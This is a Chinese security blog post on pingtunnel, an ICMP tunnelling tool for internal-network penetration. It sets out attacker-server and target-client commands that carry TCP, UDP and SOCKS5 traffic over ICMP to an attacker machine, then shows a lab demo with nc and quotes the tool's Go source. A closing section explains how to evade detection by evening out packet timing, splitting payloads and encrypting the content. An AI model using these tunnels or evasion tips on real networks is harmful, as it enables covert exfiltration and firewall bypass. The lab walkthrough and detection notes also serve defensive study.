内网隧道之pingtunnel

admin 2022年5月28日22:37:03评论211 views字数 10054阅读33分30秒阅读模式


内网隧道之pingtunnel


前言

本文研究ICMP隧道的一个工具,pingtunnel

github:https://github.com/esrrhs/pingtunnel

一、概述

1、简介

持续更新,来自腾讯大佬,用Go编写,把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具,跨平台

条件:

  •     目标机(客户端)可以ping出去

  •     目标机可能要管理员权限

  •     windows要装有wincap

2、原理

ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道

内网隧道之pingtunnel

3、使用

(1)直连出网

攻击机(服务端)启动隧道并关闭系统默认的 ping

sudo ./pingtunnel -type serverecho 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

目标机(客户端)

# 转发 sock5./pingtunnel -type client -l :4455 -s www.yourserver.com -sock5 1# 转发 tcp./pingtunnel -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1# 转发 udp./pingtunnel -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455

(2)跳板出网

跳板机

./pingtunnel -x 123456 #设置密码

攻击机

./pingtunnel -p <跳板机ip> -lp 1080 -da <目标机ip> -dp 3389 -x 123456    -p 指定ICMP隧道另一端的IP    -lp:指定本地监听的端口    -da:指定要转发的目标机器的IP    -dp:指定要转发的目标机器的端口    -x:指定连接密码

二、实践

1、场景

攻击机(服务端):kali 192.168.10.128

目标机(客户端):ubuntu 192.168.10.129


目标机可以ping通攻击机

内网隧道之pingtunnel

2、建立隧道

(1)攻击机

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all  #关闭系统默认的 ping(可选)[sudo] ./pingtunnel -type server -key 123456 #设置密码

内网隧道之pingtunnel

(2)目标机

./pingtunnel -type client -l :8888 -s 192.168.10.128 -t 192.168.10.128:7777 -tcp 1 -key 123456

内网隧道之pingtunnel

(3)nc

此时隧道建立成功

然后就可以进行下一步,比如nc

目标机
内网隧道之pingtunnel

攻击机收到信息

内网隧道之pingtunnel

3、抓包看看

建立连接时的心跳包和ARP寻址

内网隧道之pingtunnel
nc命令时的包

内网隧道之pingtunnel

三、探索

1、源码与分析

(1)main.go

主要是使用方法,调用server和client,然后有个过滤国家的filter可以忽略掉(调用的库有点多有点大)

package main
import ( "flag" "fmt" "github.com/esrrhs/go-engine/src/common" "github.com/esrrhs/go-engine/src/geoip" "github.com/esrrhs/go-engine/src/loggo" "github.com/esrrhs/go-engine/src/pingtunnel" "net" "net/http" _ "net/http/pprof" "strconv" "time")
var usage = ` 通过伪造ping,把tcp/udp/sock5流量通过远程服务器转发到目的服务器上。用于突破某些运营商封锁TCP/UDP流量。 By forging ping, the tcp/udp/sock5 traffic is forwarded to the destination server through the remote server. Used to break certain operators to block TCP/UDP traffic.
Usage:
// server pingtunnel -type server
// client, Forward udp pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455
// client, Forward tcp pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1
// client, Forward sock5, implicitly open tcp, so no target server is needed pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1
-type 服务器或者客户端 client or server
服务器参数server param:
-key 设置的密码,默认0 Set password, default 0
-nolog 不写日志文件,只打印标准输出,默认0 Do not write log files, only print standard output, default 0 is off
-noprint 不打印屏幕输出,默认0 Do not print standard output, default 0 is off
-loglevel 日志文件等级,默认info log level, default is info
-maxconn 最大连接数,默认0,不受限制 the max num of connections, default 0 is no limit
-maxprt server最大处理线程数,默认100 max process thread in server, default 100
-maxprb server最大处理线程buffer数,默认1000 max process thread's buffer in server, default 1000
-conntt server发起连接到目标地址的超时时间,默认1000ms The timeout period for the server to initiate a connection to the destination address. The default is 1000ms.
客户端参数client param:
-l 本地的地址,发到这个端口的流量将转发到服务器 Local address, traffic sent to this port will be forwarded to the server
-s 服务器的地址,流量将通过隧道转发到这个服务器 The address of the server, the traffic will be forwarded to this server through the tunnel
-t 远端服务器转发的目的地址,流量将转发到这个地址 Destination address forwarded by the remote server, traffic will be forwarded to this address
-timeout 本地记录连接超时的时间,单位是秒,默认60s The time when the local record connection timed out, in seconds, 60 seconds by default
-key 设置的密码,默认0 Set password, default 0
-tcp 设置是否转发tcp,默认0 Set the switch to forward tcp, the default is 0
-tcp_bs tcp的发送接收缓冲区大小,默认1MB Tcp send and receive buffer size, default 1MB
-tcp_mw tcp的最大窗口,默认20000 The maximum window of tcp, the default is 20000
-tcp_rst tcp的超时发送时间,默认400ms Tcp timeout resend time, default 400ms
-tcp_gz 当数据包超过这个大小,tcp将压缩数据,0表示不压缩,默认0 Tcp will compress data when the packet exceeds this size, 0 means no compression, default 0
-tcp_stat 打印tcp的监控,默认0 Print tcp connection statistic, default 0 is off
-nolog 不写日志文件,只打印标准输出,默认0 Do not write log files, only print standard output, default 0 is off
-noprint 不打印屏幕输出,默认0 Do not print standard output, default 0 is off
-loglevel 日志文件等级,默认info log level, default is info
-sock5 开启sock5转发,默认0 Turn on sock5 forwarding, default 0 is off
-profile 在指定端口开启性能检测,默认0不开启 Enable performance detection on the specified port. The default 0 is not enabled.
-s5filter sock5模式设置转发过滤,默认全转发,设置CN代表CN地区的直连不转发 Set the forwarding filter in the sock5 mode. The default is full forwarding. For example, setting the CN indicates that the Chinese address is not forwarded.
-s5ftfile sock5模式转发过滤的数据文件,默认读取当前目录的GeoLite2-Country.mmdb The data file in sock5 filter mode, the default reading of the current directory GeoLite2-Country.mmdb`
func main() {
defer common.CrashLog()
t := flag.String("type", "", "client or server") listen := flag.String("l", "", "listen addr") target := flag.String("t", "", "target addr") server := flag.String("s", "", "server addr") timeout := flag.Int("timeout", 60, "conn timeout") key := flag.Int("key", 0, "key") tcpmode := flag.Int("tcp", 0, "tcp mode") tcpmode_buffersize := flag.Int("tcp_bs", 1*1024*1024, "tcp mode buffer size") tcpmode_maxwin := flag.Int("tcp_mw", 20000, "tcp mode max win") tcpmode_resend_timems := flag.Int("tcp_rst", 400, "tcp mode resend time ms") tcpmode_compress := flag.Int("tcp_gz", 0, "tcp data compress") nolog := flag.Int("nolog", 0, "write log file") noprint := flag.Int("noprint", 0, "print stdout") tcpmode_stat := flag.Int("tcp_stat", 0, "print tcp stat") loglevel := flag.String("loglevel", "info", "log level") open_sock5 := flag.Int("sock5", 0, "sock5 mode") maxconn := flag.Int("maxconn", 0, "max num of connections") max_process_thread := flag.Int("maxprt", 100, "max process thread in server") max_process_buffer := flag.Int("maxprb", 1000, "max process thread's buffer in server") profile := flag.Int("profile", 0, "open profile") conntt := flag.Int("conntt", 1000, "the connect call's timeout") s5filter := flag.String("s5filter", "", "sock5 filter") s5ftfile := flag.String("s5ftfile", "GeoLite2-Country.mmdb", "sock5 filter file") flag.Usage = func() { fmt.Printf(usage) }
flag.Parse()
if *t != "client" && *t != "server" { flag.Usage() return } if *t == "client" { if len(*listen) == 0 || len(*server) == 0 { flag.Usage() return } if *open_sock5 == 0 && len(*target) == 0 { flag.Usage() return } if *open_sock5 != 0 { *tcpmode = 1 } } if *tcpmode_maxwin*10 > pingtunnel.FRAME_MAX_ID { fmt.Println("set tcp win too big, max = " + strconv.Itoa(pingtunnel.FRAME_MAX_ID/10)) return } // 记录日志 level := loggo.LEVEL_INFO if loggo.NameToLevel(*loglevel) >= 0 { level = loggo.NameToLevel(*loglevel) } loggo.Ini(loggo.Config{ Level: level, Prefix: "pingtunnel", MaxDay: 3, NoLogFile: *nolog > 0, NoPrint: *noprint > 0, }) loggo.Info("start...") loggo.Info("key %d", *key)
if *t == "server" { s, err := pingtunnel.NewServer(*key, *maxconn, *max_process_thread, *max_process_buffer, *conntt) if err != nil { loggo.Error("ERROR: %s", err.Error()) return } loggo.Info("Server start") err = s.Run() if err != nil { loggo.Error("Run ERROR: %s", err.Error()) return } } else if *t == "client" {
loggo.Info("type %s", *t) loggo.Info("listen %s", *listen) loggo.Info("server %s", *server) loggo.Info("target %s", *target)
if *tcpmode == 0 { *tcpmode_buffersize = 0 *tcpmode_maxwin = 0 *tcpmode_resend_timems = 0 *tcpmode_compress = 0 *tcpmode_stat = 0 } // 过滤国家,如果不是翻墙可以忽略 if len(*s5filter) > 0 { err := geoip.Load(*s5ftfile) if err != nil { loggo.Error("Load Sock5 ip file ERROR: %s", err.Error()) return } } filter := func(addr string) bool { if len(*s5filter) <= 0 { return true }
taddr, err := net.ResolveTCPAddr("tcp", addr) if err != nil { return false }
ret, err := geoip.GetCountryIsoCode(taddr.IP.String()) if err != nil { return false } if len(ret) <= 0 { return false } return ret != *s5filter }
c, err := pingtunnel.NewClient(*listen, *server, *target, *timeout, *key, *tcpmode, *tcpmode_buffersize, *tcpmode_maxwin, *tcpmode_resend_timems, *tcpmode_compress, *tcpmode_stat, *open_sock5, *maxconn, &filter) if err != nil { loggo.Error("ERROR: %s", err.Error()) return } loggo.Info("Client Listen %s (%s) Server %s (%s) TargetPort %s:", c.Addr(), c.IPAddr(), c.ServerAddr(), c.ServerIPAddr(), c.TargetAddr()) err = c.Run() if err != nil { loggo.Error("Run ERROR: %s", err.Error()) return } } else { return }
if *profile > 0 { go http.ListenAndServe("0.0.0.0:"+strconv.Itoa(*profile), nil) }
for { time.Sleep(time.Hour) }}

(2)pingtunnel.go

ICMP包的构造和收发,其中ICMP包和IP包的构造直接从net库导入,收发主要是内容填充和一些error的注意

package pingtunnel
import ( "encoding/binary" "github.com/esrrhs/go-engine/src/common" "github.com/esrrhs/go-engine/src/loggo" "github.com/golang/protobuf/proto" "golang.org/x/net/icmp" "golang.org/x/net/ipv4" "net" "sync" "time")
func sendICMP(id int, sequence int, conn icmp.PacketConn, server *net.IPAddr, target string, connId string, msgType uint32, data []byte, sproto int, rproto int, key int, tcpmode int, tcpmode_buffer_size int, tcpmode_maxwin int, tcpmode_resend_time int, tcpmode_compress int, tcpmode_stat int, timeout int) {
m := &MyMsg{ Id: connId, Type: (int32)(msgType), Target: target, Data: data, Rproto: (int32)(rproto), Key: (int32)(key), Tcpmode: (int32)(tcpmode), TcpmodeBuffersize: (int32)(tcpmode_buffer_size), TcpmodeMaxwin: (int32)(tcpmode_maxwin), TcpmodeResendTimems: (int32)(tcpmode_resend_time), TcpmodeCompress: (int32)(tcpmode_compress), TcpmodeStat: (int32)(tcpmode_stat), Timeout: (int32)(timeout), Magic: (int32)(MyMsg_MAGIC), }
mb, err := proto.Marshal(m) if err != nil { loggo.Error("sendICMP Marshal MyMsg error %s %s", server.String(), err) return }
body := &icmp.Echo{ ID: id, Seq: sequence, Data: mb, }
msg := &icmp.Message{ Type: (ipv4.ICMPType)(sproto), Code: 0, Body: body, }
bytes, err := msg.Marshal(nil) if err != nil { loggo.Error("sendICMP Marshal error %s %s", server.String(), err) return }
conn.WriteTo(bytes, server)}
func recvICMP(workResultLock *sync.WaitGroup, exit *bool, conn icmp.PacketConn, recv chan<- *Packet) {
defer common.CrashLog()
(*workResultLock).Add(1) defer (*workResultLock).Done()
bytes := make([]byte, 10240) for !*exit { conn.SetReadDeadline(time.Now().Add(time.Millisecond * 100)) n, srcaddr, err := conn.ReadFrom(bytes)
if err != nil { nerr, ok := err.(net.Error) if !ok || !nerr.Timeout() { loggo.Info("Error read icmp message %s", err) continue } }
if n <= 0 { continue }
echoId := int(binary.BigEndian.Uint16(bytes[4:6])) echoSeq := int(binary.BigEndian.Uint16(bytes[6:8]))
my := &MyMsg{} err = proto.Unmarshal(bytes[8:n], my) if err != nil { loggo.Debug("Unmarshal MyMsg error: %s", err) continue }
if my.Magic != (int32)(MyMsg_MAGIC) { loggo.Debug("processPacket data invalid %s", my.Id) continue }
recv <- &Packet{my: my, src: srcaddr.(*net.IPAddr), echoId: echoId, echoSeq: echoSeq} }}
type Packet struct { my *MyMsg src *net.IPAddr echoId int echoSeq int}
const ( FRAME_MAX_SIZE int = 888 FRAME_MAX_ID int = 1000000)

(3)client.go

800多行。。。主要是由于要支持TCP、UDP、SOCKS5

(4)server.go

同样是800多行。。

2、检测与绕过

(1)异常ICMP数据包数量

如图是nc期间,1s内有10个包

内网隧道之pingtunnel
考虑将包的间隔定死为ping的间隔
或者鱼目混珠掩护

(2)异常ICMP包长度

如图是nc传信息时的包,长度异常
内网隧道之pingtunnel

考虑将内容切分,限制长度,收到后再拼装

(3)payload内容

躲不过去的payload内容检测

正常ping命令:

windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes

linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567

加密混淆不知道效果如何,视规则而定?

结语

用go写的icmp隧道,比其他icmp隧道要牛一点



红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。


原文始发于微信公众号(红客突击队):内网隧道之pingtunnel

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月28日22:37:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网隧道之pingtunnelhttps://cn-sec.com/archives/1061724.html

发表评论

匿名网友 填写信息